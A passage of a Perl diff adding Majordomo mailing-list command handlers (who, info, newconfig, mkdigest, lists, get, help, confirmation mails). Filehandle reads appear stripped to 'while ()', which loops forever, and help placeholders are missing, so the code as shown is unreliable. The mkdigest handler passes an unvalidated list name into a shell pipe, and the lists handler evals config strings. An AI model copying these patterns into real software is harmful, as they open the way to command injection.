&get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if ( !$approved + && $config_opts{$clean_list, 'who_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("who", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do a 'who'.\n"; + print REPLY "**** You [ $reply_to ] aren't a member of list '$clean_list'.\n"; + return 0; + } + #open it up and tell who's on it + print REPLY "Members of list '$clean_list':\n\n"; + if (&lopen(LIST, "", "$listdir/$clean_list")) { + while () { + print REPLY $_; + $counter++; + } + &lclose(LIST); + printf REPLY "\n%s subscriber%s\n\n", ($counter ? $counter : "No"), + ($counter == 1 ? "" : "s"); + &log("who $clean_list"); + } else { + &abort("Can't open $listdir/$clean_list: $!"); + } + } else { + print REPLY "**** who: no such list '$list'\n"; + } +} + +sub do_info { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "info"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + # The list is OK, so give the info, or a message that none is available + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($allow); + + # check access + $allow = &access_check("info", $reply_to, $listdir, $clean_list); + + if ((local($passwd) = shift) && + &valid_passwd($listdir, $clean_list, $passwd)) { + $allow = 1; # The password is valid, so show info + } + if ($allow && + &lopen(INFO, "", "$listdir/$clean_list.info")) { + while () { + print REPLY $_; + } + print REPLY "\n[Last updated ", &chop_nl(&ctime((stat(INFO))[9])), + "]\n" if !&cf_ck_bool($clean_list,"date_info"); + &lclose(INFO); + } else { + print REPLY "#### No info available for $clean_list.\n"; + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("info $clean_list"); +} + +sub do_newinfo { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newinfo"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new info + local($mode, $uid, $gid) = + (stat("$listdir/$clean_list.info"))[2,4,5]; + $mode = (0664) if !$mode; + if (&lopen(INFO, ">", "$listdir/$clean_list.info")) { + print INFO "[Last updated on: ", &chop_nl(&ctime(time())), + "]\n" if &cf_ck_bool($clean_list,"date_info"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print INFO $_, "\n"; + } + &lclose(INFO); + if (-s "$listdir/$clean_list.info" > 0) { + chmod($mode, "$listdir/$clean_list.info"); + chown($uid, $gid, "$listdir/$clean_list.info") + if defined($uid); + } + else { + unlink("$listdir/$clean_list.info"); + } + + print REPLY "New info for list $clean_list accepted.\n"; + &log("newinfo $clean_list PASSWORD"); + } else { + &abort("Can't write $listdir/$clean_list.info: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newinfo $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} + +sub do_intro { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "intro"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + # The list is OK, so give the intro, or a message that none is available + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + local($allow) = 0; + + # check access + $allow = &access_check("intro", $reply_to, $listdir, $clean_list); + + if ((local($passwd) = shift) && + &valid_passwd($listdir, $clean_list, $passwd)) { + $allow = 1; # The password is valid, so show info + } + if ($allow && + &lopen(INFO, "", "$listdir/$clean_list.intro")) { + while () { + print REPLY $_; + } + print REPLY "\n[Last updated ", &chop_nl(&ctime((stat(INFO))[9])), + "]\n" if !&cf_ck_bool($clean_list,"date_intro"); + &lclose(INFO); + } else { + print REPLY "#### No intro available for $clean_list.\n"; + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("intro $clean_list"); +} +sub do_newintro { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newintro"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new intro + if (&lopen(INFO, ">", "$listdir/$clean_list.intro")) { + print INFO "[Last updated on: ", &chop_nl(&ctime(time())), + "]\n" if &cf_ck_bool($clean_list,"date_intro"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print INFO $_, "\n"; + } + &lclose(INFO); + if (-s "$listdir/$clean_list.intro" > 0) { + chmod(0664, "$listdir/$clean_list.intro"); + } + else { + unlink("$listdir/$clean_list.intro"); + } + print REPLY "New intro for list $clean_list accepted.\n"; + &log("newintro $clean_list PASSWORD"); + } else { + &abort("Can't write $listdir/$clean_list.intro: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newintro $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} +sub do_config { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "config"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + #so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so send the new config if it exists + + if (open(LCONFIG, "$listdir/$clean_list.config")) { + while () { + print REPLY $_; + } + print REPLY "\n#[Last updated ", + &chop_nl(&ctime((stat(LCONFIG))[9])), "]\n"; + close(LCONFIG) || + print REPLY "Error writing config for $clean_list: $!"; + + } else { + print REPLY "#### No config available for $clean_list.\n"; + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED config $clean_list PASSWORD"); + } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("config $clean_list"); +} + +sub do_newconfig { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newconfig"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + # so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new config + # off to the side to validate it. + local($oldumask) = umask($config_umask); + if (open(NCONFIG, ">$listdir/$clean_list.new.config")) { + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print NCONFIG $_, "\n"; + } + close(NCONFIG) || + &abort("Can't write $listdir/$clean_list.config: $!"); + umask($oldumask); + + if ( &get_config($listdir, "$clean_list.new", "locked")) { + unlink "$listdir/$clean_list.new.config"; + &free_lock("$listdir/$clean_list.config.LOCK"); + print REPLY "The new config file for $clean_list was NOT accepted because:\n"; + print REPLY @config'errors; + &log("FAILED (syntax) newconfig $clean_list PASSWORD"); + return (1); + } + + $rename_fail = 0; + if ( !rename("$listdir/$clean_list.config", + "$listdir/$clean_list.old.config") ) { + print REPLY "rename current -> old failed $!"; + $rename_fail = 1; + } + elsif ( !rename("$listdir/$clean_list.new.config", + "$listdir/$clean_list.config")) { + print REPLY "rename new -> current failed $!"; + $rename_fail = 1; + } + + print REPLY "New config for list $clean_list accepted.\n" + if !$rename_fail; + + &log("newconfig $clean_list PASSWORD"); + &get_config($listdir, $clean_list, "locked"); + } else { + &abort("Can't write $listdir/$clean_list.config: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newconfig $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + &free_lock("$listdir/$clean_list.config.LOCK"); + + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} + +sub do_writeconfig { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "writeconfig"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + # so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write current config + &config'writeconfig($listdir, $clean_list); + print REPLY "wrote new config for list $clean_list.\n"; + &log("writeconfig $clean_list PASSWORD"); + } else { + &squawk("$sm: invalid password."); + &log("FAILED writeconfig $clean_list PASSWORD"); + } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_mkdigest { + # Check to make sure we've got the right arguments + local($list, $clean_list, @args) = &get_listname($sm, -1, @_); + + # We allow the specification of the outgoing alias for the digest so + # that list owners can change it to be something secret, but we have to + # remain backwards compatible, so we allow 2 or 3 args. + local($list_outgoing); + if ($#args == 1) { # Called with 2 or 3 args, one already shifted off + $list_outgoing = shift @args; + } + else { + $list_outgoing = "$list-outgoing"; + } + local($passwd); + ($passwd = shift @args) || &squawk("$sm: needs password"); + local(@digest_errors) = (); + # Check that the list is valid + local($clean_list) = &valid_list($listdir, $list); + if ($clean_list ne "") { + # The list is valid, parse the config file + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + + #so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so run digest + + open(DIGEST, + "$homedir/digest -m -C -l $list $list_outgoing 2>&1 |"); + @digest_errors = ; + close(DIGEST); + + if ( $? == 256 ) { + print REPLY "*** mkdigest: Failure on exec of digest $!\n"; + print REPLY @digest_errors; + &log("FAILED mkdigest $list: exec error"); + } else { + if ($? != 0 ) { # hey the exec worked + print REPLY "*** digest: failed errors follow\n"; + print REPLY @digest_errors; + &log("FAILED mkdigest $list: errors during digest"); + } else { + print REPLY @digest_errors; + &log("mkdigest $clean_list"); + } + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED mkdigest $clean_list PASSWORD"); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_lists { + # Tell the requester what lists we serve + local($list); + local($reply_addr) = &ParseAddrs($reply_to); + + select((select(REPLY), $| = 1)[0]); + + print REPLY "$whoami serves the following lists:\n\n"; + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = readdir(RD_DIR); + closedir(RD_DIR); + + foreach (sort @lists) { + $list = $_; + $list =~ /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) + next if /^(RCS|CVS|core)$/; # files and directories to ignore + next if (-d "$listdir/$list"); # skip directories + + &get_config($listdir, $list) if !&cf_ck_bool($list, '', 1); + + if ( ($'config_opts{$list, 'advertise'} ne '') + || ($'config_opts{$list, 'noadvertise'} ne '') ) { + + local(@array, $i); + local($result) = 0; + local($_) = $reply_addr; + + if ($'config_opts{$list, 'advertise'} ne '') { + @array = split(/\001/,$'config_opts{$list, 'advertise'}); + foreach $i (@array) { + $result = 1, last if (eval $i); # Expects $_ = $reply_addr + } + } else { $result = 1; } + + @array = (); + if ($result) { + @array = split(/\001/,$'config_opts{$list, 'noadvertise'}); + + foreach $i (@array) { + $result = 0, last if (eval $i); # Expects $_ = $reply_addr + } + } + + + $result = &is_list_member($reply_to, $listdir, $list) + if ! $result; + + printf REPLY " %-23s %-.56s\n", $list, + $config_opts{$list, 'description'} if $result; + } else { + printf REPLY " %-23s %-.56s\n", $list, + $config_opts{$list, 'description'}; + } + + } + print REPLY "\nUse the 'info ' command to get more information\n"; + print REPLY "about a specific list.\n"; + &log("lists"); +} + +# Subroutines do_get and do_index handle files for the requestor. +# Majordomo will look for the files in directory "$filedir/$list$filedir_suffix" +# You need to specify a directory in majordomo.cf such as: +# $filedir = "/usr/local/mail/files"; +# $filedir_suffix = ""; +# to have it check directory "/usr/local/mail/files/$list" or +# $filedir = "$listdir"; +# $filedir_suffix = ".archive"; +# to have it check directory "$listdir/$list.archive". +# +# If you want majordomo to do the basic file handling, don't +# set the ftpmail options. Set the index command using: +# $index_command = "/bin/ls -lRL"; +# +# If you want FTPMail to do the file handling, also put in: +# $ftpmail_location = "$whereami" +# $ftpmail_address = "ftpmail@$whereami"; +# or +# $ftpmail_address = "ftpmail@decwrl.dec.com"; +# as appropriate. +# +# Note that "$ftpmail_location" might NOT be the same as "$whereami"; +# for instance, at GreatCircle.COM, "$whereami" is "GreatCircle.COM" (which +# is an MX record) but "$ftpmail_location" needs to be "FTP.GreatCircle.COM" +# (which is an alias for actual machine) + +sub do_get { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "get"; + local($list, $clean_list, $filename) = &get_listname($sm, 1, @_); + &squawk("$sm: which file?") unless $filename; + + if ($clean_list ne "") { + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if ( !$approved + && $config_opts{$clean_list, 'get_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("get", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do a 'get'.\n"; + print REPLY "**** You aren't a member of list '$clean_list'.\n"; + return 0; + } + # The list is OK, so check the file name + local($clean_file) = &valid_filename($filedir, $clean_list, + $filedir_suffix, $filename); + if (defined($clean_file)) { + # the file name was OK and exists + # see if file handling is done by ftpmail + if (defined($ftpmail_address)) { + # File handling is done by ftpmail + if ($ftpmail_location eq "") {$ftpmail_location = $whereami; }; + &sendmail(FTPMAILMSG, $ftpmail_address, "get $filename", + $reply_to); + print FTPMAILMSG "open $ftpmail_location\n"; + print FTPMAILMSG "cd $filedir/$clean_list$filedir_suffix\n"; + print FTPMAILMSG "get $filename\n"; + close (FTPMAILMSG); + print REPLY "'get' request forwarded to $ftpmail_address\n"; + } else { + # file handling is done locally. + if (&lopen(GETFILE, " ", "$clean_file")) { + # Set up the sendmail process to send the file + &sendmail(GETFILEMSG, $reply_to, + "Majordomo file: list '$clean_list' file '$filename'"); + while () { + print GETFILEMSG $_; + } + # close (and thereby send) the file + close(GETFILEMSG); + &lclose(GETFILE); + print REPLY <<"EOM"; +List '$clean_list' file '$filename' +is being sent as a separate message. +EOM + } else { + print REPLY + "#### No such file '$filename' for list '$clean_list'\n"; + } + } + } else { + &squawk("$sm: invalid file '$filename' for list '$clean_list'."); + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("get $clean_list $filename"); +} + +sub do_index { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "index"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + if ( !$approved + && $config_opts{$clean_list, 'index_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("index", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do an 'index'.\n"; + print REPLY "**** You aren't a member of list '$clean_list'.\n"; + return 0; + } + # The list is OK; see if file handling is done by ftpmail + if (defined($ftpmail_address)) { + # File handling is done by ftpmail + &sendmail(FTPMAILMSG, $ftpmail_address, "index $clean_list", $reply_to); + print FTPMAILMSG "open $ftpmail_location\n"; + print FTPMAILMSG "cd $filedir/$clean_list$filedir_suffix\n"; + print FTPMAILMSG "dir\n"; + close (FTPMAILMSG); + print REPLY "'index' request forwarded to $ftpmail_address\n"; + } else { + if (-d "$filedir/$clean_list$filedir_suffix") { + if (chdir "$filedir/$clean_list$filedir_suffix") { + open(INDEX,"$index_command|") + || &abort("Can't fork to run $index_command, $!"); + while () { + print REPLY $_; + } + unless (close INDEX) { + &bitch("Index command $index_command failed.\n$! $?"); + &squawk("$sm: index command failed"); + } + } + else { + &bitch("Cannot chdir to $filedir/$clean_list$filedir_suffix to build index\n$!"); + &squawk("$sm: index command failed"); + } + } else { + print REPLY "#### No files available for $clean_list.\n"; + } + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("index $list"); + chdir("$homedir"); +} + +sub do_help { + print STDERR "$0: do_help()\n" if $DEBUG; + + local($list4help) = $majordomo_request ? "[]" : ""; + + local($listrequest) = " or to \"-request\@$whereami\".\n"; + $listrequest .= "\nThe parameter is only optional if the "; + $listrequest .= "message is sent to an address\nof the form "; + $listrequest .= "\"-request\@$whereami\"."; + + $listrequest = "." unless $majordomo_request; + + print REPLY <<"EOM"; + +This help message is being sent to you from the Majordomo mailing list +management system at $whoami. + +This is version $majordomo_version of Majordomo. + +If you're familiar with mail servers, an advanced user's summary of +Majordomo's commands appears at the end of this message. + +Majordomo is an automated system which allows users to subscribe +and unsubscribe to mailing lists, and to retrieve files from list +archives. + +You can interact with the Majordomo software by sending it commands +in the body of mail messages addressed to "$whoami". +Please do not put your commands on the subject line; Majordomo does +not process commands in the subject line. + +You may put multiple Majordomo commands in the same mail message. +Put each command on a line by itself. + +If you use a "signature block" at the end of your mail, Majordomo may +mistakenly believe each line of your message is a command; you will +then receive spurious error messages. To keep this from happening, +either put a line starting with a hyphen ("-") before your signature, +or put a line with just the word + + end + +on it in the same place. This will stop the Majordomo software from +processing your signature as bad commands. + +Here are some of the things you can do using Majordomo: + +I. FINDING OUT WHICH LISTS ARE ON THIS SYSTEM + +To get a list of publicly-available mailing lists on this system, put the +following line in the body of your mail message to $whoami: + + lists + +Each line will contain the name of a mailing list and a brief description +of the list. + +To get more information about a particular list, use the "info" command, +supplying the name of the list. For example, if the name of the list +about which you wish information is "demo-list", you would put the line + + info demo-list + +in the body of the mail message. + +II. SUBSCRIBING TO A LIST + +Once you've determined that you wish to subscribe to one or more lists on +this system, you can send commands to Majordomo to have it add you to the +list, so you can begin receiving mailings. + +To receive list mail at the address from which you're sending your mail, +simply say "subscribe" followed by the list's name: + + subscribe demo-list + +If for some reason you wish to have the mailings go to a different address +(a friend's address, a specific other system on which you have an account, +or an address which is more correct than the one that automatically appears +in the "From:" header on the mail you send), you would add that address to +the command. For instance, if you're sending a request from your work +account, but wish to receive "demo-list" mail at your personal account +(for which we will use "jqpublic\@my-isp.com" as an example), you'd put +the line + + subscribe demo-list jqpublic\@my-isp.com + +in the mail message body. + +Based on configuration decisions made by the list owners, you may be added +to the mailing list automatically. You may also receive notification +that an authorization key is required for subscription. Another message +will be sent to the address to be subscribed (which may or may not be the +same as yours) containing the key, and directing the user to send a +command found in that message back to $whoami. (This can be +a bit of extra hassle, but it helps keep you from being swamped in extra +email by someone who forged requests from your address.) You may also +get a message that your subscription is being forwarded to the list owner +for approval; some lists have waiting lists, or policies about who may +subscribe. If your request is forwarded for approval, the list owner +should contact you soon after your request. + +Upon subscribing, you should receive an introductory message, containing +list policies and features. Save this message for future reference; it +will also contain exact directions for unsubscribing. If you lose the +intro mail and would like another copy of the policies, send this message +to $whoami: + + intro demo-list + +(substituting, of course, the real name of your list for "demo-list"). + +III. UNSUBSCRIBING FROM MAILING LISTS + +Your original intro message contains the exact command which should be +used to remove your address from the list. However, in most cases, you +may simply send the command "unsubscribe" followed by the list name: + + unsubscribe demo-list + +(This command may fail if your provider has changed the way your +address is shown in your mail.) + +To remove an address other than the one from which you're sending +the request, give that address in the command: + + unsubscribe demo-list jqpublic\@my-isp.com + +In either of these cases, you can tell $whoami to remove +the address in question from all lists on this server by using "*" +in place of the list name: + + unsubscribe * + unsubscribe * jqpublic\@my-isp.com + +IV. FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED + +To find the lists to which your address is subscribed, send this command +in the body of a mail message to $whoami: + + which + +You can look for other addresses, or parts of an address, by specifying +the text for which Majordomo should search. For instance, to find which +users at my-isp.com are subscribed to which lists, you might send the +command + + which my-isp.com + +Note that many list owners completely or fully disable the "which" +command, considering it a privacy violation. + +V. FINDING OUT WHO'S SUBSCRIBED TO A LIST + +To get a list of the addresses on a particular list, you may use the +"who" command, followed by the name of the list: + + who demo-list + +Note that many list owners allow only a list's subscribers to use the +"who" command, or disable it completely, believing it to be a privacy +violation. + +VI. RETRIEVING FILES FROM A LIST'S ARCHIVES + +Many list owners keep archives of files associated with a list. These +may include: +- back issues of the list +- help files, user profiles, and other documents associated with the list +- daily, monthly, or yearly archives for the list + +To find out if a list has any files associated with it, use the "index" +command: + + index demo-list + +If you see files in which you're interested, you may retrieve them by +using the "get" command and specifying the list name and archive filename. +For instance, to retrieve the files called "profile.form" (presumably a +form to fill out with your profile) and "demo-list.9611" (presumably the +messages posted to the list in November 1996), you would put the lines + + get demo-list profile.form + get demo-list demo-list.9611 + +in your mail to $whoami. + +VII. GETTING MORE HELP + +To contact a human site manager, send mail to $whoami_owner. +To contact the owner of a specific list, send mail to that list's +approval address, which is formed by adding "-approval" to the user-name +portion of the list's address. For instance, to contact the list owner +for demo-list\@$whereami, you would send mail to demo-list-approval\@$whereami. + +To get another copy of this help message, send mail to $whoami +with a line saying + + help + +in the message body. + +VIII. COMMAND SUMMARY FOR ADVANCED USERS + +In the description below items contained in []'s are optional. When +providing the item, do not include the []'s around it. Items in angle +brackets, such as
, are meta-symbols that should be replaced +by appropriate text without the angle brackets. + +It understands the following commands: + + subscribe $list4help [
] + Subscribe yourself (or
if specified) to the named . + + unsubscribe $list4help [
] + Unsubscribe yourself (or
if specified) from the named . + "unsubscribe *" will remove you (or
) from all lists. This + _may not_ work if you have subscribed using multiple addresses. + + get $list4help + Get a file related to . + + index $list4help + Return an index of files you can "get" for . + + which [
] + Find out which lists you (or
if specified) are on. + + who $list4help + Find out who is on the named . + + info $list4help + Retrieve the general introductory information for the named . + + intro $list4help + Retrieve the introductory message sent to new users. Non-subscribers + may not be able to retrieve this. + + lists + Show the lists served by this Majordomo server. + + help + Retrieve this message. + + end + Stop processing commands (useful if your mailer adds a signature). + +Commands should be sent in the body of an email message to +"$whoami"$listrequest Multiple commands can be processed provided +each occurs on a separate line. + +Commands in the "Subject:" line are NOT processed. + +If you have any questions or problems, please contact +"$whoami_owner". + +EOM +#' + print STDERR "$0: do_help(): finished writing help text, now logging.\n" if $DEBUG; + + &log("help"); + + print STDERR "$0: do_help(): done\n" if $DEBUG; +} + +sub send_confirm { + local($cmd) = shift; + local($list) = &valid_list($listdir, shift); + local($subscriber) = @_; + local($cookie) = &gen_cookie($cmd, $list, $subscriber); + local(*AUTH); + + &sendmail(AUTH, $subscriber, "Confirmation for $cmd $list"); + + print AUTH <<"EOM"; +Someone (possibly you) has requested that your email address be added +to or deleted from the mailing list "$list\@$whereami". + +If you really want this action to be taken, please send the following +commands (exactly as shown) back to "$whoami": + + auth $cookie $cmd $list $subscriber + +If you do not want this action to be taken, simply ignore this message +and the request will be disregarded. + +If your mailer will not allow you to send the entire command as a single +line, you may split it using backslashes, like so: + + auth $cookie $cmd $list \\ + $subscriber + +If you have any questions about the policy of the list owner, please +contact "$list-approval\@$whereami". + +Thanks! + +$whoami +EOM + close(AUTH); + + print REPLY <<"EOM"; +**** Your request to $whoami: +**** +**** $cmd $list $subscriber +**** +**** must be authenticated. To accomplish this, another request must be +**** sent in with an authorization key, which has been sent to: +**** $subscriber +**** +**** If the message is not received, there is generally a problem with +**** the address. Before reporting this as a problem, please note the +**** following: +**** +**** You only need to give an address to the subscribe command if you want +**** to receive list mail at a different address from where you sent the +**** command. Otherwise you can simply omit it. +**** +**** If you do give an address to the subscribe command, it must be a legal +**** address. It should not consist solely of your name. The address must +**** point to a machine that is reachable from the list server. +**** +**** If you have any questions about the policy of the list owner, please +**** contact "$list-approval\@$whereami". +**** +**** Thanks! +**** +**** $whoami +EOM + &log("send_confirm $cmd $list $subscriber"); +} + + + +# Send a request for subscribe or unsubscribe approval to a list owner +# Usage: &request_approval($cmd, $list, @subscriber) +sub request_approval { + # Get the arguments + local($cmd) = shift; + local($list) = &valid_list($listdir, shift); + local($subscriber) = @_; + local(*APPROVE); + + # open a sendmail process for the approval request + &sendmail(APPROVE, "$list-approval\@$whereami", "APPROVE $list"); + + # Generate the approval request + print APPROVE <<"EOM"; +$reply_to requests that you approve the following: + + $cmd $list $subscriber + +If you approve, please send a message such as the following back to +$whoami (with the appropriate PASSWORD filled in, of course): + + approve PASSWORD \\ + $cmd $list \\ + $subscriber + +[The above is broken into multiple lines to avoid mail reader linewrap +problems. Commands can be on one line, or multi-line with '\\' escapes.] + +If you disapprove, do nothing. + + +Thanks! + +$whoami +EOM + # close (and thereby send) the approval request + close(APPROVE); + + # tell the requestor that their request has been forwarded for approval. + print REPLY <<"EOM"; +Your request to $whoami: + + $cmd $list $subscriber + +has been forwarded to the owner of the "$list" list for approval. +This could be for any of several reasons: + + You might have asked to subscribe to a "closed" list, where all new + additions must be approved by the list owner. + + You might have asked to subscribe or unsubscribe an address other than + the one that appears in the headers of your mail message. + +When the list owner approves your request, you will be notified. + +If you have any questions about the policy of the list owner, please +contact "$list-approval\@$whereami". + + +Thanks! + +$whoami +EOM + + &log("request $cmd $list $subscriber"); +} + +# We are done processing the request; append help if needed, send the reply +# to the requestor, clean up, and exit + +sub done { + # append help, if needed. + if ($count == 0) { + print REPLY "**** No valid commands found.\n"; + print REPLY "**** Commands must be in message BODY, not in HEADER.\n\n"; + } + if ($needs_help || ($count == 0)) { + print REPLY "**** Help for $whoami:\n\n"; + &do_help(); + } + + # close (and thereby send) the reply + close(REPLY); + + # good bye! + exit(0); +} + +# Welcome a new subscriber to the list, and tell the list owner of his/her +# existance. +sub welcome { + local($list) = shift; + local($subscriber) = join(" ", @_); + + # welcome/intro message controlled by 'welcome=yes/no' + if ( &cf_ck_bool($list,"welcome")) { + + # Set up the sendmail process to welcome the new subscriber + &set_mail_sender($config_opts{$list,"sender"} . "\@" . $whereami); + &sendmail(MSG, $subscriber, "Welcome to $list"); + &set_mail_sender($whoami_owner); + + print MSG "Welcome to the $list mailing list!\n\n"; + + print MSG "Please save this message for future reference. Thank you.\n"; + + if ( $majordomo_request ) { + print MSG <<"EOM"; + +If you ever want to remove yourself from this mailing list, +send the following command in email to +\<${clean_list}-request\@$whereami\>: + + unsubscribe + +Or you can send mail to \<$whoami\> with the following +EOM + +} else { +print MSG <<"EOM"; + +If you ever want to remove yourself from this mailing list, +you can send mail to \<$whoami\> with the following +EOM +} + +print MSG <<"EOM"; +command in the body of your email message: + + unsubscribe $list + +or from another account, besides $subscriber: + + unsubscribe $list $subscriber + +EOM +print MSG <<"EOM"; +If you ever need to get in contact with the owner of the list, +(if you have trouble unsubscribing, or have questions about the +list itself) send email to \ . +This is the general rule for most mailing lists when you need +to contact a human. + +EOM + + # send them the info for the list, if it's available + # the .intro file has information for subscribers only + if (&lopen(INFO, "", "$listdir/$list.intro")) { + while () { + print MSG $_; + } + &lclose(INFO); + } elsif (&lopen(INFO, "", "$listdir/$list.info")) { + print MSG <<"EOM"; + Here's the general information for the list you've subscribed to, + in case you don't already have it: + +EOM +#'; + while () { + print MSG $_; + } + &lclose(INFO); + } else { + print MSG "#### No info available for $list.\n"; + } + + # close (and thereby send) the welcome message to the subscriber + close(MSG); + + } + + # tell the list owner of the new subscriber (optional: announcements=yes/no) + if ( &cf_ck_bool($list,"announcements")) { + &sendmail(NOTICE, "$list-approval\@$whereami", "SUBSCRIBE $list $subscriber"); + print NOTICE "$subscriber has been added to $list.\n"; + print NOTICE "No action is required on your part.\n"; + close(NOTICE); + } +} + +# complain about a user screwup, and note that the user needs help appended +# to the reply +sub squawk { + print REPLY "**** @_\n"; + $needs_help++; +} + +# check to see if the subscriber is a LISTSERV-style "real name", not an +# address. If it contains white space and no routing characters ([!@%:]), +# then it's probably not an address. If it's valid, generate the proper +# request for approval; if it's not, bitch to the user. + +# if a fourth parameter is added to the check_and_request call, only +# check the subscribe request for a valid address. This allows +# the same routine to be used for checking when handling an auto list. + +sub check_and_request { + local($request,$clean_list, $subscriber, $do_request) = @_; + + # check to see if the subscriber looks like a LISTSERV-style + # "real name", not an address; if so, send a message to the + # requestor, and if not, ask the list owner for approval + local($addr) = &valid_addr($subscriber); + if ($addr =~ /\s/ && $addr !~ /[!%\@:]/) { + # yup, looks like a LISTSERV-style request to me. + &squawk("$request: LISTSERV-style request failed"); + print REPLY <<"EOM"; +This looks like a BITNET LISTSERV style '$request' request, because +the part after the list name doesn't look like an email address; it looks +like a person's name. Majordomo is not LISTSERV. In a Majordomo '$request' +request, the part after the list name is optional, but if it's there, it +should be an email address, NOT a person's real name. +EOM + + return(0); + } else { + return(1) if defined($do_request); + &request_approval($request, $clean_list, $subscriber); + } +} + +sub gen_cookie { + local($combined) = join('/', $cookie_seed ? $cookie_seed : $homedir, @_); + 